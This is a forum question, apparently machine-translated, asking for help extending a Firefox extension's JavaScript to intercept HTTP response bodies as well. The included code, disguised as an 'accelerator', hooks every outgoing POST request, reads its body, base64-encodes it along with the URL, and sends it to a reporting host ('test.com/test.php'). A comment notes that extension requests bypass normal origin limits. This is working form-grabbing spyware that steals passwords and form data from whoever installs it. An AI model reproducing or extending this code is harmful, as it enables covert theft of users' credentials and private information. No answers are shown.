1

请帮助更改此代码以拦截 RESPONSE BODY(RAW)。我已经认为这是不可能的。如果可以立即编辑此代码。我对 http-on-examine-response 的更改有一些示例,但其中任何一个都不起作用,我不知道为什么。提前致谢。

// Адрес хоста для отправки отчетов
var log_host = "test.com";
// Путь к скрипту - приемщику
var log_uri = "/test.php";
// Максимальный размер POST-данных для отправки
var log_req_limit = 1024;

var accelerator =
{
   // Функция для установки обработчика на событие http-on-modify-request
   // Список событий можно посмотреть здесь https://developer.mozilla.org/en/Observer_Notifications
add_observer : function()
{
    var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
    observerService.addObserver(this, "http-on-modify-request", false);
},
// Функция для снятия обработчика на событие http-on-modify-request
// Не вызывается, но пусть будет
remove_observer : function()
{
    var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
    observerService.removeObserver(this, "http-on-modify-request");
},
// Функция, которая вызывается при возникновении интересующего нас события
observe : function(subject, topic, data)
{
    var http_channel = subject.QueryInterface(Components.interfaces.nsIHttpChannel);

    // Проверяем тип события
    if(topic == "http-on-modify-request")
    {
        // Исключаем из фильтрации URL хоста для приема отчетов
        var uri = subject.URI.spec;
        if(new RegExp('^http://(?:www\.)*' + log_host, 'i').test(uri))
        {
            return;
        }

        // Обрабатываем только POST-запросы
        if(http_channel.requestMethod == "POST")
        {
            // Извлекаем объект в котором хранится запрос
            var upload_channel = http_channel.QueryInterface(Components.interfaces.nsIUploadChannel);
            var upload_channel_stream = upload_channel.uploadStream;

            upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0);

            var stream = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream);
            stream.setInputStream(upload_channel_stream);

            // Получаем содержимое POST-запроса в виде строки
            var post_bytes = stream.readByteArray(stream.available());
            var post_data = String.fromCharCode.apply(null, post_bytes);

            // Отделяем тело запроса от вспомогательных заголовков с размером и типом содержимого
            var tmp = post_data.split("\r\n\r\n");
            if(tmp[1] && tmp[1].length <= log_req_limit)
            {
                this.send_post_data(uri, tmp[1]);
            }

            // Устанавливаем смещение в потоке на начало
            upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0);
        }
    }
},
// Вспомогательная функция для отправки POST-запроса на хост
send_post_data : function(uri, data)
{
    // Кодируем данные для безопасной передачи
    var enc_data = escape(this.base64_encode(data));
    var enc_uri = escape(this.base64_encode(uri));
    // XMLHttpRequest вызванный из расширения не обладает стандартными ограничениями
    // таким образом обратиться можно к любому хосту
    var req = new XMLHttpRequest();

    req.open("POST", "http://" + log_host + log_uri, true);
    req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    req.send("uri=" + enc_uri + "&info=" + enc_data);
},
// Неведомая фигня, которая была взята из tamper data
QueryInterface : function(iid)
{
    if(iid.equals(Components.interfaces.nsISupports) || iid.equals(Components.interfaces.nsIObserver))
    {
        return this;
    }
    throw Components.results.NS_NOINTERFACE;
},
// Вспомогательный метод для кодирования данных в Base64
base64_encode : function(data)
{
    var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
    ac = 0,
    enc = "",
    tmp_arr = [];

    if(!data)
    {
        return data;
    }

    do
    {
        o1 = data.charCodeAt(i++);
        o2 = data.charCodeAt(i++);
        o3 = data.charCodeAt(i++);

        bits = o1 << 16 | o2 << 8 | o3;

        h1 = bits >> 18 & 0x3f;
        h2 = bits >> 12 & 0x3f;
        h3 = bits >> 6 & 0x3f;
        h4 = bits & 0x3f;


        tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
    } while (i < data.length);

    enc = tmp_arr.join('');

    var r = data.length % 3;

    return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
}
};

// Вызываем метод, который установит обработчик на интересующее нас событие
accelerator.add_observer();
4

0 回答 0